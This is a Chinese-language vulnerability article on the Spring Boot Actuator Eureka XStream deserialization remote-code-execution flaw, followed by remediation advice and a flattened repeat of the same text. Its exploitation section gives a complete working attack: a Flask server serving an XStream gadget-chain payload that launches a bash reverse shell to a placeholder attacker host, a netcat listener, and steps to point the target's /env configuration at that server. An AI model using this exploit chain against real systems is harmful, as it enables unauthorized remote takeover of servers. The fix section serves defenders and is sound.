Spring Boot Actuator(eureka xstream deserialization RCE)漏洞测试及修复
字数 919 2025-08-10 00:24:01

Spring Boot Actuator Eureka XStream 反序列化漏洞分析与防护指南

漏洞概述

Spring Boot Actuator 是 Spring Boot 提供的服务监控和管理中间件,当与 Eureka 客户端结合使用时,存在 XStream 反序列化远程代码执行(RCE)漏洞。该漏洞允许攻击者通过未授权访问/env端点执行任意代码,获取服务器权限。

影响版本

  • eureka-client < 1.8.7

风险等级

严重 - 可导致远程代码执行,完全控制服务器

漏洞原理

  1. Actuator 端点暴露:Actuator 默认配置可能导致接口未授权访问,泄露敏感信息
  2. XStream 反序列化:Eureka 客户端使用 XStream 处理 XML 数据,存在不安全反序列化问题
  3. Jolokia 特性滥用:通过 Jolokia 库特性可实现远程代码执行

漏洞利用步骤

1. 准备恶意服务器

使用以下 Python Flask 脚本创建恶意服务器(需修改反弹 shell 的 IP 和端口):

from flask import Flask, Response

app = Flask(__name__)

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods = ['GET', 'POST'])
def catch_all(path):
    xml = """<linked-hash-set>
  <jdk.nashorn.internal.objects.NativeString>
    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
      <dataHandler>
        <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
          <is class="javax.crypto.CipherInputStream">
            <cipher class="javax.crypto.NullCipher">
              <serviceIterator class="javax.imageio.spi.FilterIterator">
                <iter class="javax.imageio.spi.FilterIterator">
                  <iter class="java.util.Collections$EmptyIterator"/>
                  <next class="java.lang.ProcessBuilder">
                    <command>
                      <string>/bin/bash</string>
                      <string>-c</string>
                      <string>bash -i >& /dev/tcp/YOUR_VPS_IP/8446 0>&1</string>
                    </command>
                    <redirectErrorStream>false</redirectErrorStream>
                  </next>
                </iter>
                <filter class="javax.imageio.ImageIO$ContainsFilter">
                  <method>
                    <class>java.lang.ProcessBuilder</class>
                    <name>start</name>
                    <parameter-types/>
                  </method>
                  <name>foo</name>
                </filter>
                <next class="string">foo</next>
              </serviceIterator>
              <lock/>
            </cipher>
            <input class="java.lang.ProcessBuilder$NullInputStream"/>
            <ibuffer></ibuffer>
          </is>
        </dataSource>
      </dataHandler>
    </value>
  </jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
    return Response(xml, mimetype='application/xml')

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=2222)

2. 设置监听

在攻击机上监听反弹 shell 的端口:

nc -lvnp 8446

3. 利用漏洞

  1. 访问目标服务器的 /env 端点获取环境属性
  2. 抓取请求并将 GET 改为 POST
  3. 添加恶意配置:
    eureka.client.serviceUrl.defaultZone=http://恶意服务器IP:2335/xstream
    
  4. 服务器将连接恶意服务器并执行反弹 shell

漏洞修复方案

方案一:禁用所有接口

在配置文件中添加:

endpoints.enabled = false

方案二:引入安全依赖

pom.xml 中添加 Spring Security 依赖:

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-security</artifactId>
</dependency>

方案三:配置访问权限验证

在配置文件中添加安全配置:

management.port=8099
management.security.enabled=true
security.user.name=自定义用户名
security.user.password=强密码

其他防护建议

  1. 升级 Eureka 客户端到 1.8.7 或更高版本
  2. 限制 Actuator 端点的访问权限,只允许内部网络访问
  3. 定期检查服务器日志,监控可疑请求
  4. 使用 Web 应用防火墙(WAF)拦截恶意请求

总结

该漏洞利用 Spring Boot Actuator 的未授权访问和 Eureka 客户端的 XStream 反序列化漏洞,可导致严重的远程代码执行风险。通过禁用不必要的接口、添加安全依赖和配置访问控制,可有效防护此漏洞。建议所有使用受影响版本的用户立即采取修复措施。

Spring Boot Actuator Eureka XStream 反序列化漏洞分析与防护指南 漏洞概述 Spring Boot Actuator 是 Spring Boot 提供的服务监控和管理中间件,当与 Eureka 客户端结合使用时,存在 XStream 反序列化远程代码执行(RCE)漏洞。该漏洞允许攻击者通过未授权访问/env端点执行任意代码,获取服务器权限。 影响版本 eureka-client < 1.8.7 风险等级 严重 - 可导致远程代码执行,完全控制服务器 漏洞原理 Actuator 端点暴露 :Actuator 默认配置可能导致接口未授权访问,泄露敏感信息 XStream 反序列化 :Eureka 客户端使用 XStream 处理 XML 数据,存在不安全反序列化问题 Jolokia 特性滥用 :通过 Jolokia 库特性可实现远程代码执行 漏洞利用步骤 1. 准备恶意服务器 使用以下 Python Flask 脚本创建恶意服务器(需修改反弹 shell 的 IP 和端口): 2. 设置监听 在攻击机上监听反弹 shell 的端口: 3. 利用漏洞 访问目标服务器的 /env 端点获取环境属性 抓取请求并将 GET 改为 POST 添加恶意配置: 服务器将连接恶意服务器并执行反弹 shell 漏洞修复方案 方案一:禁用所有接口 在配置文件中添加: 方案二:引入安全依赖 在 pom.xml 中添加 Spring Security 依赖: 方案三:配置访问权限验证 在配置文件中添加安全配置: 其他防护建议 升级 Eureka 客户端到 1.8.7 或更高版本 限制 Actuator 端点的访问权限,只允许内部网络访问 定期检查服务器日志,监控可疑请求 使用 Web 应用防火墙(WAF)拦截恶意请求 总结 该漏洞利用 Spring Boot Actuator 的未授权访问和 Eureka 客户端的 XStream 反序列化漏洞,可导致严重的远程代码执行风险。通过禁用不必要的接口、添加安全依赖和配置访问控制,可有效防护此漏洞。建议所有使用受影响版本的用户立即采取修复措施。